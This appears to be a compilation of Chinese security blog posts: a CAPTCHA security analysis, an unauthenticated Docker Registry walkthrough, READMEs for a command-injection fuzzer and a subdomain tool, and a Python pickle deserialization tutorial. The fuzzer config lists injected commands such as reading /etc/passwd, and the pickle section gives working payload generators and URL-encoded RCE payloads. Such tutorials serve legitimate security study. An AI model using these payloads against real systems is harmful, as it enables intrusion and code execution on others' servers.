验证码安全那些事

前言

最近在研究验证码安全,本文主要分析四种流行的验证码(图形,短信,语音和滑动)进行分析,写这篇文章的出发点并非是绕过或破解验证码,而是根据自身业务情况来选择对应的验证码类型,在用户体验和安全性中找到属于自己的平衡点。

有问题可与我联系Wechat:atiger77

目录

0×01. 图形验证码  
0×02. 短信验证码
0×03. 语音验证码
0×04. 滑动验证码
0×05. 总结

备注:无论使用哪种验证码,只要开发不当都可能存在安全漏洞,为了减少文章重复内容,只在短信验证码中讲解漏洞以及对应加固方案,在语音验证码中讲解风控预防措施。

0×01 图形验证码

图形验证码是出现最早也是使用最为广泛的验证码没有之一,从最早的简单验证码到现在各种五花八门的验证码,为了防止被识别有加噪点的,有加干扰线的,有加各种背景的,有加逻辑题的…

之所以会有越来越恶心的验证码主要是防止验证码被机器识别,所设计的验证码难度也在不断上升,相比较来看下面两张图就知道为什么会这么设计了。

一般识别流程:

14917152134767.png

一般验证码加固方法:

14917152549751.png

随着验证码难度的提高识别的成本也随即提高,为了进行识别测试,我分别收集了四家不同类型互联网公司的验证码,情况如下:

某招聘网站验证码 – 字母周围有噪点,字体扭曲

20170424112448.png

某电商网站验证码 – 不同样式,字母阴影,字母粘连,背景色干扰

20170424112458.png

某社交网站验证码 – 主体干扰线,背景色干扰,背景字母干扰,字体扭曲,字母粘连

20170424112509.png

某生活类网站验证码 – 背景干扰线,背景色干扰,背景字母干扰,字体扭曲,字母粘连,字体镂空

20170424112522.png

首先针对某招聘网站的验证码进行识别,这里基于tesseract写的一个OCR程序,测试样本10张,最后准确率在50%,反溯以下发现对识别相近字时会比较吃力比如”z”和”2″,”0″和”O”等等,因为验证码做了反识别部分验证码人眼也比较难识别,如果继续优化识别率达到70%左右应该问题不大。

14917154289847.png

接着对某电商网站的验证码进行识别,最后准备率在40%,由于该网站验证码难度各不相同对于这种类型的验证码比较难做统一处理,即使使用机器学习的方法一个模型也很难去识别所有的验证码。

后面两个网站的验证码使用图像识别去做难度就很高了,为了不被识别分别做了大量的反识别工作,那么对于这类验证码一般使用的是人工打码平台,之前有文章已经介绍过了这里就不重复描述了。

这是某打码平台的价格,网上可以找到很多类似的网站。

14917154282029.png

那么对于企业来说,怎么防止验证码被人工打码呢,从安全角度来说是比较难做到防止的,为了不失去用户体验每张验证码的失效时间并不会很短,对于一个熟练的人工打码人员来说完全不在话下,那么我们从验证码本身出发去提高攻击的一个成本,举一个例子,可以使用DataURI scheme的方法把验证码图片直接写到HTML文件中去增加识别的时间和成本,当然还会有很多方法可以去增加攻击成本。

如果想从根本去除打码平台的困扰,这里可以参考支付宝和微信这两个产品的验证码机制,在某些地方所弹出的图形验证码是和使用者有关,比如选择联系人头像,选择购买过的物品,对于人工打码的人来说是完全不知道答案的,但是用了这种类型的验证码也会出现问题,比如“好友”足够了解你的情况下(个人信息泄露太多)可能会成功的进入。

现在有很多文章会用到神经网络CNN的方法用来识别验证码,相比传统的识别用机器学习有了样本的学习,识别率会更加的准确,对一些人眼可能判断错误的字母机器或许能判断准确,不过学习成本也是很高的。

0×02 短信验证码

短信验证码常见于注册,忘记密码,确认下单等阶段,特别是一些涉及到用户个人敏感行为时候,为了确认操作是用户本人执行的通常会使用短信验证码进行二次认证。同时,短信验证码也是最为常见的验证码类型之一,这里总结一些验证码逻辑漏洞。

a. 接口没设频次上限导致短信轰炸

起因:短信轰炸问题往往出现在一些小站或者子站,这几年很少看到通过GET请求发送短信验证码了,基本都是使用POST请求,使用抓包软件可以重放请求对于后端没有做限制的网站就可以达到短信轰炸的效果。

危害:对用户来说个人生活受到骚扰,对企业来说造成一定的负面影响,很多小公司因为短信接口被大量调用出现运营问题,对于公司没有安全工程师的情况下,一般都是业务方发现了数据异常向上汇报,最后和开发一起反溯才会找到这个问题,那么在这段时间中对企业所损失的钱也是无法挽回的。

预防:这里主要是针对两种攻击场景来进行防御,第一种是对单用户的短信轰炸,即重放发送请求且phonenum为一个值。第二种是对多用户发送短信骚扰的场景,即将phonenum参数设置为字典,重放短信接口。

设置发送间隔,即单一用户发送请求后,与下次发送请求时间需要间隔60秒。

设置单用户发送上限,即设置每个用户单位时间内发送短信数的上限,如果超过阈值就不允许今天再次调用短信接口(阈值根据业务情况设置)。

设置单IP发送上限,这种情况是预防第二种攻击场景的,由于IP的特殊性可能存在所处IP是大出口,一旦误杀后果会很验证,所以这个限制根据自身情况酌情考虑,对于有风控的团队来说,当发现发送IP存在异常可以对该IP增加二次认证来防止机器操作,也可以降低误杀情况。

备注:b和c两个漏洞场景一般截图说明下开发就知道问题所在了,这里修复建议的内容写的就比较少。

b. 验证码内容包含在返回包中

起因:因为开发不严谨导致通过抓包可以看到验证码在回显中显示。

14917155261248.png

危害:由于验证码直接返回,通过该漏洞可以注册任意用户,重置已注册用户密码,修改绑定信息等高危操作,对用户造成一定影响。

修复建议:不要将短信验证码在回显中显示,验证码只存于服务端中并不能通过任何api直接获取。

c. 修改返回包内容绕过验证

起因:前端校验导致下列问题。

14917155974535.png

14917155573802.png

危害:可跳过正常校验逻辑。

修复建议:服务端严格做检验,和开发谈谈心。

假设网站验证码接口没有以上说的任何漏洞,那么短信认证是否安全呢?

在用户手机没有被种木马,用户手机没被强制降频到GSM等情况下,当攻击者无法获取短信验证码则某些关键操作是无法继续的,在一定程度上起到了拦截的作用。特别针对盗号的场景,由于设备或常用地发生了变化,在用户登录时候弹出验证码进行校验防止被盗号的情况。短信验证码只对部分场景可以起到防护作用,单一的认证对于企业来说无法阻止以下的场景。

14917155587746.png

这张图在我上一篇文章中出现过,这是在某打码平台注册了一个帐号的截图,从图上就可以看出虽然用了短信验证码,但是可以通过打码平台来自动获取并完成注册流程。

针对打码平台的垃圾注册场景也可以通过一些手段去增加批量自动化的注册成本,防御手法有相同之处,在语音验证码中会简单讲解。

0×03 语音验证码

相比短信验证码,语音验证码存在以下的优势:

a.语音验证对防刷单效果更显著;
b.语音验证码到达率更高;
c.用户体验更加友好;

为什么说语音验证码对防刷单更有效,这里贴一张某打码平台的收费情况,可以看到语音验证的价格是短信的十倍。很多公司是不会对17开头的虚拟号段进行发送的,为此卡商提供的卡号基本是实名认证的且没有停机的正常号段,所以收语音验证的成本就会比短信高很多。

14917156829962.png

这家打码平台对语音识别有两种方式,一个是系统识别,另一个是自己听取,对于系统识别平台解释是由听码团队负责听取验证码后传输文字回来,自己听取则是自己下载语音验证码录音自己听候识别。

跟公司研究移动端安全的小伙伴讨论了下,根据目前的技术要做到全自动也并非不可能,这里简单画了一个流程,从触发语音认证开始到最后的填入完成验证一条龙。

14917156821814.png

首先要获取语音认证,等语音验证码说完以后自动保存录音,进行语音分析,国内有几家厂商有语音识别的服务并都提供SDK,所涉及的服务可以用来进行识别,将语音转换成文字并提取验证码部分,完成最后验证。

对于企业来说我们如何防止这种垃圾注册的场景呢,说几种通用的思路供参考,这里主要可以分事前和事后基于规则和行为做判断。

对于事前,可以借助反欺诈接口检测请求的号码是否存在风险,WEB端判断用户UserAgent是否存在异常,APP端判断用户DeviceID是否存在异常,由于事前可以拿到的信息并不多,可以围绕可以拿到的参数做规则,对触发规则的用户进行阻断操作,可以在发送短信或者语音前让其先填写一次图形验证码,多一步校验。当然,也有公司会将部分手机号进行拉黑操作,在源头上禁止某些手机号进行注册。

对于事后,服务端校验以后就可以拿到状态等信息,围绕这些信息又可以制定一些规则,这里可以举一个通用的规则,比如单位时间内单IP登录失败超过阈值的对这个IP进行某某处理,这也是最基本的频次规则。对于不同的业务有着自己不同的策略,比如金融公司的APP会索取用户通讯录的权限,根据用户的好友做用户画像,某些公司也会做二度关系画像来判断用户是否存在风险。

这里不会说太多的规则和策略,由于公司的业务都不尽相同,当日志接入以后针对目前场景存在的问题去设计不同的规则即可。

0×04 滑动验证码

现在有不少的互联网公司开始使用滑动验证码进行校验,看似一个简单的滑动操作,背后都有风控引擎和相应的规则作为保障,首先讲一下滑动验证码的整个流程。

1491715758468.png

我们说一下正常的逻辑,首先用户滑动验证码到指定位置,完成后会给服务端回传各种加密信息,为了做风控规则来判断是否异常,个人猜测其规则会包含用户IP,操作行为路径,UA,COOKIE,设备指纹等等,如果没有命中规则,就会放行校验通过,如果命中规则就会弹出二次校验,只有通过校验后才可以放行。

那么如何破解滑动验证码呢,第一种是模拟正常用户操作,并让风控不要命中风控规则。第二种是尝试破解第二阶段的验证,对于图片可以使用OCR技术进行识别(针对类ReCAPTCHA验证码)。第二种的难度比较高,网上的文章也是针对第一种来进行破解,这里简单讲一下破解方法。

我对某商业滑动验证码进行了测试,整体流程梳理如下:

14917157589764.png

全部过程可以用自动化来实现,整体成功率要分为两个部分来看,第一是验证码自身风控能发现多少问题,我所测试的接口破解成功率在76%左右。第二是企业自身的风控规则能发现和阻断多少异常情况。两者结合最后的成功率就会有所下降,虽然有接口破解但是价格昂贵,已经提高了攻击成本,如果账户不涉及到金钱也不会考虑这么高的攻击成本,其实说到底还是成本和收益的一个衡量。

这里聊一下商业化滑动验证码厂商的优势和弊端。首先说优势,滑动验证码肯定会成为一种流行趋势,对于企业来说自研的成本比较大,无非也就是几个工程师参考已有的进行模仿,先不说效果开发流程上就会耽误人力,这点钱宁愿使用商业化的,现在的产品都已经相对成熟也有专门的团队进行升级维护,安全和体验性上来说都还不错。弊端到也谈不上,这里主要说几点使用前要考虑的地方,一个是响应延迟,当大量并发过来的时候是不是撑得住,最高响应时间是否有上限,如果超过是否会降级,如何降级等等,万一碰到不可预计的问题,比如碰到光缆被挖断,服务是否能即使切换,灾备是否完善等等,在购买前这些问题最好都要进行测试并有应急方案。

0×05 总结

前面也总结了很多验证码,我认为一个好的验证码首先不能有逻辑上的漏洞能绕过,否则再复杂的验证码都是形同虚设。其次,不能为了增加破解难度而抛弃用户体验,不要把验证码做的极其复杂人眼都识别不了,这种也会失去验证码的意义(用户都没了还给谁验证…)

目前来说大部分的企业还是偏向使用图形验证码,在测试过程中只有极少数的公司会动态升级自己的图片验证码,随着输错次数的上升验证码难度也随机上升。统一验证码的设计初衷是好的,即使攻击者使用了OCR技术进行破解,一旦失败数触发到阈值即自动上升图形验证码难度,增加破解成本。

为了防止验证码被爬虫获取后专门进行分析,针对性的破解攻击,需要准备多套图形验证码定期进行替换。

统一验证码体系如果只用单纯的规则去匹配所弹出的验证码,那么这种情况会出现不少的误杀,会让某些正常用户操作频次超过设定阈值,用户在尝试输入密码的过程中验证码越来越难,最后导致用户投诉。所以我认为一个完善的统一验证码体系应该由风控来判断是否触发规则,对触发规则的请求进行相应的验证升级,而不是设定一个死的阈值,对关键操作可以用多种验证码组合的形式来进行校验,常见的组合有,滑动+图形,图形+语音等。

就我个人而言,比较喜欢点触式和滑动式的验证码,通过采集用户当前各种的参数行为(行为轨距,操作时间,当前环境等等)来判断是否为机器行为。在用户体验上,手机端不是很建议使用选字类型的验证码,对于非大屏的手机不是很友好。在安全性上,这类验证码要比其他验证码破解成本高。我相信验证码的趋势也会逐渐向这种类型的靠拢。

下面的图片引用了google的ReCAPTCHA,分别截取图片和语音验证,ReCAPTCHA在安全性和用户体验做的都很好,即使这样还是被安全研究者破解过,所以不要完全依赖一种验证码,对敏感操作可以使用多种验证码。下面是官网的DEMO:

图片类:

14917158615511.png

声音类:

14917158896397.png

无论哪种验证码都有自己的适用场景,也没有一种绝对安全的验证码,根据自身业务情况来选择对应的验证码类型,在用户体验和安全性中找到属于自己的平衡点。最后,有做业务安全的同学可以一起学习交流。

Hacking Docker:Registry API 未授权访问

前言

docker pull HOST:PORT/IMAGE_NAME

image001.png

Exploit

环境

  • local.example.com (127.0.0.1)
  • port 30000

GET 请求/v1 /v2确认 Registry API 版本:

image003.png

确定版本后查看 repos 列表,/_catalog:

image005.png

例如 testrepo1,/REPO_NAME/tags/list查看标签:

image007.png

确定标签 (v1v2) 后使用/manifests/v2下载文件:

image009.png

使用终端下载文件v2//blobs/sha256:/:

https://localhost:30000/v2/testrepo1/blobs/sha256:4b981f68920b27d3a35992f3e0343acfc90f52dff050328f38d03f16ba984d34

image011.png

解压文件发现敏感信息:

image013.png

image015.png

自动化脚本:https://github.com/NotSoSecure/docker_fetch/

image017.png

脚本会将所有 gzip 压缩的 blob 保存在用户设定的目录中, 可以使用以下命令一次性解压:

for i in *.tar.gz; do tar -xzvf $i; done

修复

  • 添加身份验证
  • 启用签名和验证
  • 使用 TLS

参考

一个半自动化命令注入漏洞Fuzz工具

1. OCIFT是什么

一个半自动化命令注入漏洞Fuzz工具(One Semi-automation command injection vulnerability Fuzz tool)简写为:OCIFT

2. OCIFT有什么用

这是一种半自动化的黑盒测试工具,它可以帮助渗透测试人员或代码审计人员在愉快的上网的同时,深度挖掘目标应用系统存在的命令注入漏洞。

OCIFT有什么特点

  • Payload基于Commix生成方式修改而来(需要持续完善).
  • 基于浏览器代理的半自动化Fuzz.
  • 多线程Fuzz速度快,不影响正常浏览器访问使用.
  • 支持设置白名单限制Fuzz范围.
  • 支持设置黑名单避免带来不必要的麻烦.
  • 支持DNSLog辅助验证

4. 实现思路

基于Tornado的实现一个代理服务器,解析GET/POST请求提取Fuzz点,带入payload进行Fuzz测试。

文件结构说明
         |____run.py 主程序入口
         |____dnslog.py DNSLog SDK
         |____fuzz.conf 配置文件
         |____fuzz.py Fuzz线程
         |____make_payload.py Payload生成器
         |____readme.md 说明文档

5.配置文件说明

  • 配置各个参数,以逗号分隔

    [initconfig]

  • 黑名单HOST-为了避免带来不必要的麻烦

    black_hosts =.gov,localhost,127.0.0.1,google,gstatic,cnzz.com,doubleclick,police,mil.cn,gov.cn,gov.com

  • 静态文件黑名单-这些不做Fuzz

    url_ext_black =.ico,.flv,.css,.jpg,.png,.jpeg,.gif,.pdf,.ss3,.txt,.rar,.zip,.avi,.mp4,.swf,.wmi,.exe,.mpeg

  • 白名单HOST-为了限制Fuzz的范围, 默认为空-表示对除黑名单范围外的所有地址进行Fuzz.

    white_site =qunar

  • 请求超时-限制每次Fuzz请求超时时间

    timeout =10

  • 我的DnsLog地址

    my_cloudeye =ano1qu2j.xfkxfk.com

  • 判断是够注入命令执行成功的关键字

    checkkeys =110586256,/bin/bash,nameserver,IPv4,Windows IP

  • 用于测试命令注入的基本命令

    base_command =cat /etc/resolv.conf,echo 110586256,cat /etc/passwd,ipconfig,ping CommandInj.{my_cloudeye},echo 110586256<nul

  • Fuzz线程数

    fuzz_count =20

  • fuzz的payload类型, 默认False-表示使用自定义的规则

    commix_payload_type = False

  • DnsLog登录会话ID,我用的xfkxfk牛的dnslog.xfkxfk.com

    dnslog_sessionid =q6wva2e3skg79vkdegra2bygft0d1

  • Your Domain

    custom_domain =a2fta2j

  • 记录成功结果的Log文件

    Logfile =rce_success_results.txt

6.如何使用

1.安装模块

pip install tornado pip install requests

2.根据自己需要完成文件fuzz.conf的配置

3.启用主程序

python run.py 8089 如下图:

687474703a2f2f7777772e636f6666656568622e636e2f7a625f75736572732f75706c6f61642f323031372f30342f32303137303430393030333434313134393136363932383136393639342e6a7067.jpg

4.设置浏览器代理 然后会自动开始Fuzz

687474703a2f2f7777772e636f6666656568622e636e2f7a625f75736572732f75706c6f61642f323031372f30342f32303137303430393030333332343134393136363932303432313932372e6a7067.jpg

7.总结

  • 基本实现了想要的半自动化Fuzz功能
  • payload还需要不断优化

Github地址:https://github.com/coffeehb/OCIFT

Python Pickle的任意代码执行漏洞实践和Payload构造

0x01 Pickle的典型应用场景

一般在什么场景下需要用到Pickle?

  1. 通常在解析认证token,session的时候。(如果你知道更多,欢迎留言补充,感谢!)现在很多web都使用redis、mongodb、memcached等来存储session等状态信息。P神的文章就有一个很好的redis+python反序列化漏洞的很好例子:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
  2. 可能将对象Pickle后存储成磁盘文件。
  3. 可能将对象Pickle后在网络中传输。
  4. 可能参数传递给程序,比如sqlmap的代码执行漏洞

    python sqlmap.py --pickled-options "Y29zCnN5c3RlbQooUydkaXInCnRSLg=="

0x02 如何构造Payload

特别说明:以下测试代码均可在我的github上下载:https://github.com/bit4woo/sharexmind/tree/master/PickleRCE

1.执行系统命令的Payload

首先构造一个简单的包含漏洞的代码。

后续的验证过程中,将生成的Payload放到poc.pickle文件中,使用该代码来读取PoC验证效果(我将其保存为dopickle.py)。

__author__ = 'bit4'
import pickle

pickle.load(open('./poc.pickle'))

值得注意的是,pickle有loadloads2个方法,load需要的参数是文件句柄,loads所需要的参数是字符串。

pickle允许任意对象去定义一个__reduce__方法来申明怎么序列化这个对象。这个方法返回一个字符串或者元组来描述当反序列化的时候该如何重构。

使用os.system执行命令的payload,保存为pickle_poc_gen.py

#!/usr/bin/env python
#coding: utf-8
__author__ = 'bit4'

import cPickle
import os

class genpoc(object):
    def __reduce__(self):
        s = """echo test >poc.txt"""  #要执行的命令
        return os.system, (s,)        #os.system("echo test >poc.txt")

e = genpoc()
poc = cPickle.dumps(e)

print poc

输出内容,也就是Payload:

cnt
system
p1
(S'echo test >poc.txt'
p2
tRp3
.

url编码后的payload,用于URL中传递给web服务器:

cnt%0Asystem%0Ap1%0A%28S%27echo%20test%20%3Epoc.txt%27%0Ap2%0AtRp3%0A

我们将如上生成的pyload放到poc.pickle文件中,然后执行验证代码dopickle.py,成功执行了"echo test >poc.txt"(在当前目录生成一个poc.txt,其中的内容是test)。

现在问题来了,如何在实际的web环境中使用这些payload呢?

我们先实现一个简单的httpserver(dopicklehttpserver.py):

#coding:utf-8
__author__ = 'bit4'
import BaseHTTPServer
import urllib
import cPickle

class ServerHandler(BaseHTTPServer.BaseHTTPRequestHandler):

    def do_GET(self):
        if "?payload" in self.path:
            query= urllib.splitquery(self.path)
            action = query[1].split('=')[1]  #这种写法是一个坑,如果参数payload的值中包含了等号,将导致不正确,pickle将报“insecure string pickle”错误。
            #action = query[1].replace("payload=","") #这种写法可以避免=的问题,但实际的项目中肯定不是这么写,求指教~
            print action
            try:
                x = cPickle.loads(action) #string argv
                content = x
            except Exception,e:
                print e
                content = e

        else:
            content = "hello World"

        self.send_response(200)
        self.send_header("Content-type","text/html")
        self.end_headers()
        self.wfile.write("<html>")
        self.wfile.write(" %s " % content)
        self.wfile.write("</html>")

if __name__ == '__main__':

    srvr = BaseHTTPServer.HTTPServer(('',8000), ServerHandler)
    print 'started  httpserver...'
    srvr.serve_forever()

运行以上代码后,将运行一个监听本地8000端口的web服务器,通过如下URL访问,传递Payload给服务器。

http://127.0.0.1:8000/?payload=cnt%0Asystem%0Ap1%0A(S%27echo%20test%20%3Epoc.txt%27%0Ap2%0AtRp3%0A.

也和本地环境一样,成功运行了命令,生成了poc.txt

在PHP中还有有一种比较常见的思路,通过base64编码后传递,如下这种,那我们可以在python中借鉴。这部分内容包含在了“执行任意python代码的payload”小节中。

http://www.xxx.com?path=php://filter/write=convert.base64-decode/resource=1.php

2.执行任意python代码的payload

我们的目标是实现任意代码执行,所以我们要序列化的对象成了code类型,但是pickle是不能序列化code对象的。

但幸运的是,从python2.6起,包含了一个可以序列化code对象的模块–Marshal。由于python可以在函数当中再导入模块和定义函数,所以我们可以将自己要执行的代码都写到一个函数里foo(), 所以有了如下代码:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
__filename__ = 'pickle_poc_gen0.py'

import marshal
import base64
import cPickle
import urllib

def foo():#you should write your code in this function
    import os
    def fib(n):
        if n <= 1:
            return n
        return fib(n-1) + fib(n-2)
    print 'fib(10) =', fib(10)
    os.system('echo anycode >>poc.txt')

try:#尝试使用cPickle来序列号代码对象
    cPickle.dumps(foo.func_code)
except Exception as e:
    print e #TypeError: can't pickle code objects

code_serialized = base64.b64encode(marshal.dumps(foo.func_code))
print code_serialized

想要这段输出的base64的内容得到执行,我们需要如下代码:

(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ”))()

写得更容易阅读点就是这样:

code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()

把这段代码转换成pickle后的格式,需要了解pickle的数据格式和指令。详细的转换过程可以参考:https://www.cs.uic.edu/~s/musings/pickle/

  • c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。
  • (:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。
  • t:从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。
  • S:读取引号中的字符串直到换行符处,然后将它压入堆栈。
  • R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。
  • .:结束pickle。

说人话:

  • c:接下来的2行内容类似于,os.systemurllib.unquotemodule.object的形式。
  • (:就是左括号
  • t:相当于右扩号
  • S:代表本行后面的内容是String,即字符串。
  • R:执行紧靠自己左边的一个括号对中的内容,即( 和他t直接的内容。
  • .:点号结束pickle。

32dcaa3e06b19f65870914432174ac89.png

最终的可以执行任意代码的payload生成器(第一种),foo()函数中的部分是你应该自己编写替换的代码:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
__filename__ = 'pickle_poc_gen0.py'

import marshal
import base64
import cPickle
import urllib

def foo():#you should write your code in this function
    import os
    def fib(n):
        if n <= 1:
            return n
        return fib(n-1) + fib(n-2)
    print 'fib(10) =', fib(10)
    os.system('echo anycode >>poc.txt')

try:#尝试使用cPickle来序列号代码对象
    cPickle.dumps(foo.func_code)
except Exception as e:
    print e #TypeError: can't pickle code objects

code_serialized = base64.b64encode(marshal.dumps(foo.func_code))
print code_serialized


#为了保证code_serialized中的内容得到执行,我们需要如下代码
#(types.FunctionType(marshal.loads(base64.b64decode(code_serialized)), globals(), ''))()

payload =  """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))

print "------------------------------------------------"
print payload
fp =open("poc.pickle","w")
fp.write(payload)
print "------------------------------------------------"
print urllib.quote(payload)

将以上代码生成的payload分别用于dopickle.pydopicklehttpserver.py中进行测试。均成功执行命令。

注意:用于pickle_verify_httpserver.py的payload和上面一样还是需要url编码后的。

9f4a270e990cc8454b3dd3ebf84da5a4.png

3.另外一段不成熟payload生成代码的分析

在网上看到了另外一个生成代码:https://gist.github.com/freddyb/3360650

我们看一下他的代码并尝试利用上面的序列化规则“翻译”一下:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'
__filename__ = 'pickle_poc_gen1.py'
#from https://gist.github.com/freddyb/3360650

try:
    import cPickle as pickle
except ImportError:
    import pickle

from sys import argv

def picklecompiler(sourcefile):
    """ 
    Usually pickle can only be used to (de)serialize objects.
    This tiny snippet will allow you to transform arbitrary python source
    code into a pickle string. Unpickling this string with pickle.loads()
    will execute the given soruce code.
    The trick is actually prettey easy: Usually eval() will only accept
    expressions, thus class and function declarations does not work.
    Using the work-around of code objects (returned by compile()), we can
    execute real python source code :)
    """
    sourcecode = file(sourcefile).read()
    payload = "c__builtin__\neval\n(c__builtin__\ncompile\n(%sS'<payload>'\nS'exec'\ntRtR." % (pickle.dumps( sourcecode )[:-4],)
    print payload
    fp =open("poc.pickle","w")
    fp.write(payload)


def usage():
    print "usage: ./%s file\n\nfile\tfile to compile into a pickle string" % argv[0]

if len(argv) == 2:
    print repr(picklecompiler(argv[1]))
else:
    usage()

再尝试还原成python代码,基本就是下面的语句

__builtin__.eval(__builtin__.compile(%s,'<payload>’,’exec’)) % cmd
eval(compile(%s,'<payload>’,’exec’)) % cmd

对以上代码生成的payload进行了测试,也只是成功执行了未包含函数和类的python代码,包含函数和类的则未执行成功。

4.终极payload生成器

分析到最后,发现其实有老外已经做过更加底层,更加详细的分享,并且也提供了Poc生成脚本

参考:

http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf

地址:

https://github.com/sensepost/anapickle

该工具中包含了大量的成熟payload,有了以上知识,不难理解其中的代码,也可以自己进行修改了。

0x03 参考

Teemo:域名收集及枚举工具

项目主页

https://github.com/bit4woo/Teemo

About teemo

域名收集及枚举工具

提莫(teemo)是个侦察兵,域名的收集如同渗透和漏洞挖掘的侦察,故命名为提莫(Teemo)!

该工具主要有三大模块:

利用搜索引擎:

  • baidu
  • so.com (360搜索)
  • google (需要代理,可能被block)
  • bing (使用cn.bing.com)
  • yahoo
  • yandex (可能被block,替代方案xml.yandex.com)
  • dogpile
  • exaland (可能被block)
  • ask (需要代理)
  • googleCSE (需要API key)

利用第三方站点:

  • Alex
  • Chaxunla (图形验证码)
  • netcraft
  • DNSDumpster
  • Virustotal
  • ThreatCrowd
  • CrtSearch
  • PassiveDNS
  • GooglCT
  • ILink
  • sitedossier
  • threatminer
  • Pgpsearch

利用枚举

基本使用

运行环境:python 2.7.*

  • 查看帮助:

    python teemo.py -h

  • 枚举指定域名(会使用搜索引擎和第三方站点模块):

    python teemo.py -d example.com

  • 使用代理地址(默认会使用config.py中的设置):

    python teemo.py -d example.com -x "http://127.0.0.1:9999"

  • 启用枚举模式:

    python teemo.py -b -d example.com

  • 将结果保存到指定文件(默认会根据config.py中的设置保存到以域名命名的文件中):

    python teemo.py -d example.com -o result.txt

  • 收集域名并扫描指定端口 :

    python teemo.py -d example.com -p 80,443

参考

参考以下优秀的工具修改而来:

Thanks for their sharing.

优缺点

为什么要修改,相对以上优秀工具有什么优缺点?

优点:

  • 使用的搜索引擎和第三方站点更全面,经过实际测试,发现收集的域名会更多。
  • 添加了代理的支持,像google,ask等可以通过指定代理地址去访问,个人使用google较多,所以这个对我很重要。
  • 使用搜索引擎的模块,会收集邮箱地址。

缺点:

  • 初始版本,bug很多。但后续会持续更新改进。欢迎提bug。

To Do

  • 接入打码平台
  • 域名有效性判断,端口扫描并记录--json格式(`{domain:{ip:127.0.0.1,ports:{80,443},cdn:{yes
    or no,具体是谁}}}domain`)
  • 泛解析,dns轮询相关
  • 优化config.py
  • 模糊匹配,例如包含"qq"的所有域名,比如qqimg.com
  • 搜索引擎模块,使用google hacking 搜索

Done

  • 添加多线程支持。
  • 添加www.so.com 360搜索引擎
  • 修复ask页面参数不正确问题
  • 优化代理参数设置
  • 优化正则表达式,去除以“-”开头的非法域名
  • 随机请求参数,减小被block几率
  • 优化搜索引擎部分参数配置
  • 修复dnsdumpter访问出错问题

相关思维导图

687474703a2f2f692e696d6775722e636f6d2f5155747a6e6c4b2e706e67.png

免责声明

作者公开该工具代码,出于技术分享的目的,请不要用于非法用途。 任何使用该工具及代码,或者修改后的工具及代码,造成的任何问题,与本作者无关,特此声明!!!